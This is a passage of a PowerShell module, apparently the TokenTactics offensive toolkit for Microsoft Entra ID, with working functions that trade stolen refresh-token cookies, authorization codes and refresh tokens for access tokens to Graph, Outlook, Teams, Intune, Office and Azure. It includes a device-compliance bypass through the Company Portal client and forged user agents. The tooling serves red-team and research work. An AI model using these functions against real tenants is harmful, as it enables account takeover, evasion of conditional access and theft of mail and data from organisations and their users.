} elseif ($Client -eq "MSEdge") {
|
|
$ClientID = "ecd6b820-32c2-49b6-98a6-444530e5a77a"
|
|
} elseif ($Client -eq "AzurePowershell") {
|
|
$ClientID = "1950a258-227b-4e31-a9cf-717495945fc2"
|
|
} elseif ($Client -eq "DeviceComplianceBypass") {
|
|
$ClientID = "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223"
|
|
$RedirectUrl = "msauth://com.microsoft.windowsintune.companyportal/1L4Z9FJCgn5c0VLhyAxC5O9LdlE="
|
|
} elseif ($Client -eq "AzureManagement") {
|
|
$ClientID = "84070985-06ea-473d-82fe-eb82b4011c9d"
|
|
} elseif ($Client -eq "Custom") {
|
|
if ([string]::IsNullOrWhiteSpace($ClientID)) {
|
|
Write-Error "ClientID must be provided for Custom client"
|
|
return
|
|
}
|
|
if ([string]::IsNullOrWhiteSpace($Scope)) {
|
|
Write-Error "Scope must be provided for Custom client"
|
|
return
|
|
}
|
|
}
|
|
$Parameters = @{
|
|
"CookieType" = "x-ms-RefreshTokenCredential"
|
|
"CookieValue" = $RefreshTokenCredential
|
|
"ClientID" = $ClientID
|
|
"Scope" = $Scope
|
|
"RedirectUrl" = $RedirectUrl
|
|
"Verbose" = $VerbosePreference
|
|
}
|
|
if ($Proxy) {
|
|
$Parameters.Add("Proxy", $Proxy)
|
|
}
|
|
if ($CustomUserAgent) {
|
|
$Parameters.Add("CustomUserAgent", $CustomUserAgent)
|
|
} elseif ($Device) {
|
|
if ($Browser) {
|
|
$Parameters.Add("CustomUserAgent", (Get-ForgedUserAgent -Device $Device -Browser $Browser))
|
|
} else {
|
|
$Parameters.Add("CustomUserAgent", (Get-ForgedUserAgent -Device $Device))
|
|
}
|
|
} elseif ($Browser) {
|
|
$Parameters.Add("CustomUserAgent", (Get-ForgedUserAgent -Browser $Browser))
|
|
} else {
|
|
$Parameters.Add("CustomUserAgent", (Get-ForgedUserAgent))
|
|
}
|
|
if ($Device) {
|
|
$Parameters.Add("Device", $Device)
|
|
}
|
|
if ($Browser) {
|
|
$Parameters.Add("Browser", $Browser)
|
|
}
|
|
if ($Resource) {
|
|
$Parameters.Add("Resource", $Resource)
|
|
}
|
|
Get-EntraIDTokenFromCookie @Parameters
|
|
}
|
|
|
|
function Get-EntraIDTokenFromAuthorizationCode {
|
|
<#
|
|
.DESCRIPTION
|
|
Authenticate to an application (default graph.microsoft.com) using Authorization Code flow.
|
|
Authenticates to MSGraph as Teams FOCI client by default.
|
|
https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow
|
|
|
|
.EXAMPLE
|
|
Get-EntraIDTokenFromAuthorizationCode -Client MSGraph -AuthorizationCode "1.AXkAT2xo4yev..."
|
|
|
|
.AUTHOR
|
|
Adapted for TokenTactics from the original code by
|
|
@gladstomych https://github.com/JumpsecLabs/TokenSmith and
|
|
@zh54321 https://github.com/zh54321/PoCEntraDeviceComplianceBypass/blob/main/poc_entra_compliance_bypass.ps1
|
|
|
|
First published by @_dirkjan: https://bsky.app/profile/dirkjanm.io/post/3ld4nbbhqd222
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[ValidateSet("MSGraph", "Graph", "DeviceRegistration", "Custom")]
|
|
[string]$Client = "MSGraph",
|
|
[Parameter(Mandatory = $True, ParameterSetName = 'Default')]
|
|
[string]$AuthorizationCode,
|
|
[Parameter(ParameterSetName = 'Default')]
|
|
[string]$RedirectUrl = "ms-appx-web://Microsoft.AAD.BrokerPlugin/S-1-15-2-2666988183-1750391847-2906264630-3525785777-2857982319-3063633125-1907478113",
|
|
[Parameter(Mandatory = $True, ParameterSetName = 'RequestURL')]
|
|
[string]$RequestURL,
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$ClientID = "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$Scope,
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'AndroidMobile', 'iPhone')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[switch]$UseCAE,
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CodeVerifier,
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$UseV1Endpoint,
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$Resource
|
|
)
|
|
|
|
#region Set Headers
|
|
if ($CustomUserAgent) {
|
|
$UserAgent = $CustomUserAgent
|
|
} elseif ($Device) {
|
|
if ($Browser) {
|
|
$UserAgent = Get-ForgedUserAgent -Device $Device -Browser $Browser
|
|
} else {
|
|
$UserAgent = Get-ForgedUserAgent -Device $Device
|
|
}
|
|
} elseif ($Browser) {
|
|
$UserAgent = Get-ForgedUserAgent -Browser $Browser
|
|
} else {
|
|
$UserAgent = Get-ForgedUserAgent
|
|
}
|
|
$Headers = @{}
|
|
$Headers["User-Agent"] = $UserAgent
|
|
#endregion
|
|
|
|
#region Extract values from RequestURL
|
|
if ($RequestURL) {
|
|
$queryParams = ConvertTo-URLParameters -RequestURL $RequestURL
|
|
# When code is present, we have a valid authorization code and can use it to request a new token
|
|
if ($queryParams.ContainsKey('code')) {
|
|
$AuthorizationCode = $queryParams['code']
|
|
Write-Verbose "Code: $($AuthorizationCode[0..10])..."
|
|
Write-Debug "Code: $AuthorizationCode"
|
|
} else {
|
|
Write-Warning "Code not found in redirected URL path. Aborting..."
|
|
return
|
|
}
|
|
$uri = [System.Uri]::new($RequestURL)
|
|
$RedirectUrl = $uri.GetLeftPart([System.UriPartial]::Path)
|
|
if ([string]::IsNullOrWhiteSpace($RedirectUrl)) {
|
|
Write-Warning "Redirect URL not found in redirected URL path. Aborting..."
|
|
return
|
|
} else {
|
|
Write-Verbose "Redirect URL: $RedirectUrl"
|
|
}
|
|
}
|
|
#endregion
|
|
|
|
#region Create Body based on Client selected
|
|
$body = @{
|
|
"grant_type" = "authorization_code"
|
|
"redirect_uri" = $RedirectUrl
|
|
"code" = $AuthorizationCode
|
|
}
|
|
|
|
if ($Client -ne "Custom" -and -not ( [string]::IsNullOrWhiteSpace($Scope) )) {
|
|
Write-Warning "Custom scope is set but client is not set to Custom. Ignoring scope."
|
|
}
|
|
if ($Client -eq "Graph") {
|
|
$body.Add("scope", "https://graph.windows.net/.default offline_access openid")
|
|
} elseif ($Client -eq "MSGraph") {
|
|
$body.Add("scope", "https://graph.microsoft.com/.default offline_access openid")
|
|
} elseif ($Client -eq "DeviceRegistration") {
|
|
# Device Registration Service
|
|
$body.Add("scope", "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9")
|
|
} elseif ($Client -eq "Custom") {
|
|
if ([string]::IsNullOrWhiteSpace($ClientID)) {
|
|
Write-Error "ClientID must be provided for Custom client"
|
|
return
|
|
}
|
|
if ([string]::IsNullOrWhiteSpace($Scope)) {
|
|
Write-Error "Scope must be provided for Custom client"
|
|
return
|
|
}
|
|
$body.Add("scope", $Scope)
|
|
}
|
|
$body.Add("client_id", $ClientID)
|
|
|
|
if ($UseCAE -and ( $UseV1Endpoint -eq $false )) {
|
|
# Add 'cp1' as client claim to get a access token valid for 24 hours
|
|
$Claims = ( @{"access_token" = @{ "xms_cc" = @{ "values" = @("cp1") } } } | ConvertTo-Json -Compress -Depth 99 )
|
|
$body.Add("claims", $Claims)
|
|
}
|
|
|
|
if ($CodeVerifier) {
|
|
$body.Add("code_verifier", $CodeVerifier)
|
|
}
|
|
if ($UseV1Endpoint) {
|
|
$body.Add("resource", $Resource)
|
|
}
|
|
Write-Verbose "Calling token endpoint with Authorization Code"
|
|
Write-Verbose ( $body | ConvertTo-Json -Depth 99 )
|
|
#endregion
|
|
|
|
#region Exchange authorization code for tokens
|
|
try {
|
|
if ( $UseV1Endpoint ) {
|
|
$TokenEndpointUri = "https://login.microsoftonline.com/common/oauth2/token"
|
|
} else {
|
|
$TokenEndpointUri = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
|
|
}
|
|
$global:response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri $TokenEndpointUri -Headers $Headers -Body $body
|
|
$output = ConvertFrom-JWTtoken -token $response.access_token
|
|
$global:TokenDomain = $output.upn -split '@' | Select-Object -Last 1
|
|
$global:TokenUpn = $output.upn
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$response"
|
|
} catch {
|
|
Write-Error "Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
#endregion
|
|
}
|
|
|
|
function Get-EntraIDAuthorizationCode {
|
|
<#
|
|
.DESCRIPTION
|
|
|
|
|
|
.EXAMPLE
|
|
# Use Windows based Redirect URL
|
|
Get-EntraIDAuthorizationCode -RedirectUrl "ms-appx-web://Microsoft.AAD.BrokerPlugin/S-1-15-2-2666988183-1750391847-2906264630-3525785777-2857982319-3063633125-1907478113"
|
|
|
|
# Use Android based Redirect URL
|
|
Get-EntraIDAuthorizationCode -RedirectUrl "msauth://com.microsoft.windowsintune.companyportal/1L4Z9FJCgn5c0VLhyAxC5O9LdlE="
|
|
|
|
.AUTHOR
|
|
Adapted for TokenTactics from the original code by
|
|
@gladstomych https://github.com/JumpsecLabs/TokenSmith and
|
|
@zh54321 https://github.com/zh54321/PoCEntraDeviceComplianceBypass/blob/main/poc_entra_compliance_bypass.ps1
|
|
#>
|
|
|
|
[CmdletBinding()]
|
|
param(
|
|
[ValidateSet("MSGraph", "Graph", "Custom")]
|
|
[string]$Client = "MSGraph",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$ClientID = "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223",
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RedirectUrl = "msauth://com.microsoft.windowsintune.companyportal/1L4Z9FJCgn5c0VLhyAxC5O9LdlE=",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$AuthorizationCodeState = "9gaPNizkzgtisKqA",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$Scope,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE,
|
|
[Parameter(Mandatory = $False)]
|
|
[switch]$UseCodeVerifier,
|
|
[Parameter(Mandatory = $False)]
|
|
[switch]$UseV1Endpoint,
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$Resource,
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$Username,
|
|
[Parameter(Mandatory = $False)]
|
|
[switch]$CopyToClipboard,
|
|
[Parameter(Mandatory = $False)]
|
|
[switch]$OpenInBrowser
|
|
)
|
|
if ( $UseV1Endpoint ) {
|
|
$BaseUrl = "https://login.microsoftonline.com/organizations/oauth2/authorize"
|
|
} else {
|
|
$BaseUrl = "https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize"
|
|
}
|
|
$BaseUrl += "?response_type=code"
|
|
$BaseUrl += "&redirect_uri=$RedirectUrl"
|
|
$BaseUrl += "&state=$AuthorizationCodeState"
|
|
if ($UseV1Endpoint) {
|
|
$BaseUrl += "&resource=$Resource"
|
|
}
|
|
if ($UseCodeVerifier) {
|
|
$CodeVerifier = Get-TTCodeVerifier
|
|
$CodeChallenge = Get-TTCodeChallenge -CodeVerifier $CodeVerifier
|
|
$BaseUrl += "&code_challenge=$CodeChallenge"
|
|
$BaseUrl += "&code_challenge_method=S256"
|
|
}
|
|
if ($Username) {
|
|
$BaseUrl += "&login_hint=$Username"
|
|
}
|
|
|
|
if ($Client -ne "Custom" -and -not ( [string]::IsNullOrWhiteSpace($Scope) )) {
|
|
Write-Warning "Custom scope is set but client is not set to Custom. Ignoring scope."
|
|
}
|
|
if ($Client -eq "Graph") {
|
|
$BaseUrl += "&scope=https://graph.windows.net/.default offline_access openid"
|
|
} elseif ($Client -eq "MSGraph") {
|
|
$BaseUrl += "&scope=https://graph.microsoft.com/.default offline_access openid"
|
|
} elseif ($Client -eq "Custom") {
|
|
if ([string]::IsNullOrWhiteSpace($ClientID)) {
|
|
Write-Error "ClientID must be provided for Custom client"
|
|
return
|
|
}
|
|
if ([string]::IsNullOrWhiteSpace($Scope)) {
|
|
Write-Error "Scope must be provided for Custom client"
|
|
return
|
|
}
|
|
$BaseUrl += "&scope=$($Scope)"
|
|
}
|
|
$BaseUrl += "&client_id=$ClientID"
|
|
if ($UseCAE) {
|
|
# Add 'cp1' as client claim to get a access token valid for 24 hours
|
|
$BaseUrl += "&claims=" + ( @{"access_token" = @{ "xms_cc" = @{ "values" = @("cp1") } } } | ConvertTo-Json -Compress -Depth 99 )
|
|
}
|
|
|
|
Write-Output $([uri]::EscapeUriString($BaseUrl))
|
|
if ($OpenInBrowser) {
|
|
Start-Process $BaseUrl
|
|
Write-Output "1. The URL has been opened in your default browser"
|
|
} else {
|
|
Write-Output "1. Copy and paste the URL into a browser"
|
|
}
|
|
Write-Output "2. Enable the developer tools and switch to the network tab"
|
|
Write-Output "3. Authenticate using your credentials"
|
|
Write-Output "4. Copy either the Request URL from the header tab or the code value from the payload tab"
|
|
Write-Output "5. Use the code value (-AuthorizationCode) or complete Request URL (-RequestURL) to get a token:"
|
|
Write-Output ""
|
|
Write-Output " `$AuthCode = Get-Clipboard"
|
|
if ($UseCodeVerifier) {
|
|
$CodeVerifierString = "-CodeVerifier `"$CodeVerifier`""
|
|
}
|
|
if ($UseV1Endpoint) {
|
|
$V1EndpointString = "-Resource $($Resource) -UseV1Endpoint `$$($UseV1Endpoint)"
|
|
}
|
|
if ($Client -eq "Custom") {
|
|
Write-Output " Get-EntraIDTokenFromAuthorizationCode -Client Custom -RedirectUrl `"$RedirectUrl`" -ClientID `"$ClientID`" -Scope `"$Scope`" -AuthorizationCode `$AuthCode $CodeVerifierString $V1EndpointString"
|
|
} else {
|
|
Write-Output " Get-EntraIDTokenFromAuthorizationCode -Client $Client -RedirectUrl `"$RedirectUrl`" -AuthorizationCode `$AuthCode $CodeVerifierString $V1EndpointString"
|
|
}
|
|
|
|
if ($CopyToClipboard) {
|
|
$BaseUrl | Set-Clipboard
|
|
Write-Output " The URL has been copied to your clipboard"
|
|
}
|
|
}
|
|
|
|
# Refresh Token Functions
|
|
function Invoke-RefreshToSubstrateToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a Substrate token from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToSubstrateToken -domain myclient.org -refreshToken ey....
|
|
$SubstrateToken.access_token
|
|
#>
|
|
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
$ClientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "https://substrate.office.com/.default offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:SubstrateToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$SubstrateToken"
|
|
$SubstrateToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToMSManageToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a manage token from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToMSManage -domain myclient.org -refreshToken ey....
|
|
$MSManageToken.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
$ClientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "https://enrollment.manage.microsoft.com/.default offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:MSManageToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$MSManageToken"
|
|
$MSManageToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToMSTeamsToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a Microsoft Teams token from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToMSTeamsToken -domain myclient.org -refreshToken ey....
|
|
$MSTeamsToken.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
$ClientId = "1fec8e78-bce4-4aaf-ab1b-5451cc387264",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "https://api.spaces.skype.com/.default offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:MSTeamsToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$MSTeamsToken"
|
|
$MSTeamsToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToOfficeManagementToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a Office Manage token from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToOfficeManagementToken -domain myclient.org -refreshToken ey....
|
|
$OfficeManagement.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
$ClientId = "00b41c95-dab0-4487-9791-b9d2c32c80f2",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "https://manage.office.com/.default offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:OfficeManagementToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$OfficeManagementToken"
|
|
$OfficeManagementToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToOutlookToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a Microsoft Outlook token from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToOutlookToken -domain myclient.org -refreshToken ey....
|
|
$OutlookToken.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
$ClientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "https://outlook.office365.com/.default offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:OutlookToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$OutlookToken"
|
|
$OutlookToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToMSGraphToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a Microsoft Graph token from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToMSGraphToken -domain myclient.org -refreshToken ey....
|
|
$MSGraphToken.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "https://graph.microsoft.com/.default offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:MSGraphToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$MSGraphToken"
|
|
$MSGraphToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToGraphToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a windows graph token from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToGraphToken -domain myclient.org -refreshToken ey....
|
|
$GraphToken.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "https://graph.windows.net/.default offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:GraphToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$GraphToken"
|
|
$GraphToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToOfficeAppsToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a Microsoft Office Apps token from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToOfficeAppsToken -domain myclient.org -refreshToken ey....
|
|
$OfficeAppsToken.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$ClientID = "ab9b8c07-8f02-4f72-87fa-80105867a763",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "https://officeapps.live.com/.default offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:OfficeAppsToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$OfficeAppsToken"
|
|
$OfficeAppsToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToAzureCoreManagementToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a Microsoft Azure Core Mangement token from a refresh token.
|
|
.EXAMPLE
|
|
